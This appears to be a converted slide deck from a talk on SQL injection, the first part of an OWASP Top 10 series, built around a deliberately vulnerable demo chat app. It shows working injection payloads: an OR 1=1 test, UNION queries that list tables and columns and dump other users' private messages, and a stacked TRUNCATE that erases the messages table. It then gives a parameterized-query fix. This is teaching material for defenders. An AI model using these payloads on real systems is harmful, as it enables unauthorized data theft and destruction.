
# Injection

### John's OWASP Top 10 Series: Part 1

https://github.com/johnhaldeman/chatsploit





https://xkcd.com/327/

### Injection

Circumventing application constraints by injecting commands from user inputs into an interpreter

#1 on the OWASP Top 10 for each of 2010, 2013, and 2017

#1 on the Common Weakness Enumeration (CWE) list with a score of 93.8

**Root Cause:** The Application Code Fails To Sanitize User Input and the User Abuses that Vulnerability

**This talk:** focus on SQL Injection but similar concepts apply to other types (NoSQL, OS Command injection, etc.)

# Our App: Chatsploit

Chatsploit: On the Internet, Nobody Knows You're a Dog Security is Our Lowest Priority

**Continue Chatting** 

Find People


Logout

### Chatsploit: A Simple Chat Server (that has security problems)

Chatsploit: On the Internet, Nobody Knows You're a Dog Security is Our Lowest Priority **Continue Chatting** Find People Logout Chat with alicew **Users:** alicew Thu Jun 13 2019 20:09:04 GMT-0400 (Eastern Daylight Time) From: bobs Hi Alice, It's Bob. We met at that terrible appsec presentation at hackforge. Thu Jun 13 2019 20:10:18 GMT-0400 (Eastern Daylight Time) From: alicew Oh hi Bob! Yes, I remember you! Wasn't that presentation terrible?!?!?!? Thu Jun 13 2019 20:14:24 GMT-0400 (Eastern Daylight Time) From: bobs It was! I mean, it just went on and on. SELECT \* FROM SNOOOOOOORE Thu Jun 13 2019 20:14:30 GMT-0400 (Eastern Daylight Time) From: alicew hahahhahahaha New Message:

Refresh


### Chatsploit: Searching for people to chat with



Simple test to see if SQL injection is possible.


carol' OR 1=1 --

Closes the string, puts in a condition that's always true, and comments out the rest of the SQL




### Retrieve table names:

```
carol%' UNION ALL SELECT
name, '', STR(object_id)
from sys.tables --
```



# Retrieve column names for messages:

```
0' UNION ALL SELECT name,
'', '' from sys.columns
where
object_id=917578307--
```



Retrieve messages for all users including those you're not supposed to see:

```
00' UNION ALL SELECT
from_user, to_user,
convert(varchar, sent,
20) + ': ' + message from
messages --
```

#### Search Username:


0' UNION ALL SELECT from\_user, to\_user, convert(varchar, sent, 20) + ': ' + messa

Search

Chat!	Username	Name	Email Address
Chat!	bobs	alicew	2019-06-14 00:09:04: Hi Alice, It's Bob. We met at that terrible appsec presentation at hackforge.
Chat!	alicew	bobs	2019-06-14 00:10:18: Oh hi Bob! Yes, I remember you! Wasn't that presentation terrible?!?!?!?
Chat!	bobs	alicew	2019-06-14 00:14:24: It was! I mean, it just went on and on. SELECT * FROM SNOOOOOOOORE
Chat!	alicew	bobs	2019-06-14 00:14:30: hahahhahahaha

TDS (SQL Server/Sybase) allows for multi-statement requests. So, we can inject other types of statements as well. Here, the truncate deletes all rows in the messages table:

0'; truncate table messages --



### Root Cause: No Input Sanitization

https://github.com/johnhaldeman/chatsploit/blob/7e630a76a26d8d10c18d4f967f30f323 42229a21/routes/chatsploit.js#L18

https://github.com/johnhaldeman/chatsploit/blob/7e630a76a26d8d10c18d4f967f30f32 342229a21/sql.js#L17

```
router.get('/findusers', [...], function (req, res, next) {
    let text = req.query.search;
       [...]
    let lowersearch = text.toLowerCase();
    sql.runQuery(`SELECT username, name, email FROM dbo.users where
    username like '%${lowersearch}%'`)
    .then(
       [...]
    )
}):
```

## Fixing the problem:

```
let lowersearch = "%" + text.toLowerCase() +"%";
sql.getPool().request()
    .input('searchstring', mssql.Char, lowersearch)
    .query(`SELECT username, name, email FROM dbo.users where username like @searchstring`)
    .then(
      [...]
    )
```

https://github.com/johnhaldeman/chatsploit/commit/35d73eb5ad66fd8bfc1bfc7f084516b71ce484e3

### Exercise for at home if interested

There is another SQL Injection vulnerability in the code.

Exploit and then fix it.

Note: It's slightly harder to exploit this one.

### **ORMs**

Instead of dealing with SQL, many applications use Object-Relational-Mapping libraries.

It doesn't absolve you though – sometimes those libraries can have interpreters themselves or provide a mechanism to get to the underlying SQL. For example, consider Hibernate's HQL:

https://cwe.mitre.org/data/definitions/564.html

### Injection – not just for SQL


Anywhere where there is an interpreter, there's a risk of this:

- 1) LDAP Injection
- 2) XML Injection
- 3) XPath Injection
- Code Injection (for interpreted languages JS/PHP/etc.)
- 5) Command Injection for command line execution

The upshot: *Never trust your client*.

This is particularly bad if you use unsanitized client generated data as input into a query language or interpreter

Defending Against SQL Injection — Other things you can do



# Thank you!



Next time: Broken Authentication